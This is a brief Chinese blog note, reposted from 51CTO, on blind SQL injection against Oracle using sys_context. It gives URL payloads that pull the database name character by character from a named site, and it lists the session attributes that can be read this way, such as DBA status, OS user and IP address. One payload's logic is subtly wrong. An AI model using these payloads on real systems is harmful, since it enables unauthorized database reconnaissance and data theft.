Oracle注入sys_context利用

简介:

Oracle可以用sys_context来获取基本信息,记录如下:
http://www.nuanyue.com/test.jsp=1′ and ascii(substr(length((sys_context(‘userenv’,'db_name’))),0,1))=89
检查db_name的字符个数的 的ASCII值是89
http://www.nuanyue.com/test.jsp=1′ and ascii(substr((sys_context(‘userenv’,'db_name’)),1,1))=109
http://www.nuanyue.com/test.jsp=1′ and ascii(substr((sys_context(‘userenv’,'db_name’)),2,1))>0
//获取第一个字符的ASCII值,其它类推,以下是可以获取的信息。

select
SYS_CONTEXT(‘USERENV’,'TERMINAL’) terminal,
SYS_CONTEXT(‘USERENV’,'LANGUAGE’) language,
SYS_CONTEXT(‘USERENV’,'SESSIONID’) sessionid,
SYS_CONTEXT(‘USERENV’,'INSTANCE’) instance,
SYS_CONTEXT(‘USERENV’,'ENTRYID’) entryid,
SYS_CONTEXT(‘USERENV’,'ISDBA’) isdba,
SYS_CONTEXT(‘USERENV’,'NLS_TERRITORY’) nls_territory,
SYS_CONTEXT(‘USERENV’,'NLS_CURRENCY’) nls_currency,
SYS_CONTEXT(‘USERENV’,'NLS_CALENDAR’) nls_calendar,
SYS_CONTEXT(‘USERENV’,'NLS_DATE_FORMAT’) nls_date_format,
SYS_CONTEXT(‘USERENV’,'NLS_DATE_LANGUAGE’) nls_date_language,
SYS_CONTEXT(‘USERENV’,'NLS_SORT’) nls_sort,
SYS_CONTEXT(‘USERENV’,'CURRENT_USER’) current_user,
SYS_CONTEXT(‘USERENV’,'CURRENT_USERID’) current_userid,
SYS_CONTEXT(‘USERENV’,'SESSION_USER’) session_user,
SYS_CONTEXT(‘USERENV’,'SESSION_USERID’) session_userid,
SYS_CONTEXT(‘USERENV’,'PROXY_USER’) proxy_user,
SYS_CONTEXT(‘USERENV’,'PROXY_USERID’) proxy_userid,
SYS_CONTEXT(‘USERENV’,'DB_DOMAIN’) db_domain,
SYS_CONTEXT(‘USERENV’,'DB_NAME’) db_name,
SYS_CONTEXT(‘USERENV’,'HOST’) host,
SYS_CONTEXT(‘USERENV’,'OS_USER’) os_user,
SYS_CONTEXT(‘USERENV’,'EXTERNAL_NAME’) external_name,
SYS_CONTEXT(‘USERENV’,'IP_ADDRESS’) ip_address,
SYS_CONTEXT(‘USERENV’,'NETWORK_PROTOCOL’) network_protocol,
SYS_CONTEXT(‘USERENV’,'BG_JOB_ID’) bg_job_id,
SYS_CONTEXT(‘USERENV’,'FG_JOB_ID’) fg_job_id,
SYS_CONTEXT(‘USERENV’,'AUTHENTICATION_TYPE’) authentication_type,
SYS_CONTEXT(‘USERENV’,'AUTHENTICATION_DATA’) authentication_data
from dual











本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/484494 ,如需转载请自行联系原作者
相关文章
|
2天前
|
SQL Oracle 关系型数据库
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作
94 0
|
2天前
|
Oracle 关系型数据库 数据处理
某教程学习笔记(一):10、oracle数据库注入
某教程学习笔记(一):10、oracle数据库注入
19 0
|
12月前
|
SQL XML Oracle
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(下)
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(下)
|
12月前
|
SQL XML Oracle
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(中)
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(中)
|
12月前
|
SQL Oracle 关系型数据库
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(上)
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(上)
|
Oracle 关系型数据库 数据处理
某教程学习笔记(一):10、oracle数据库注入
某教程学习笔记(一):10、oracle数据库注入
100 0
某教程学习笔记(一):10、oracle数据库注入
|
SQL Oracle 关系型数据库
|
Oracle 关系型数据库 PHP
|
SQL Java 关系型数据库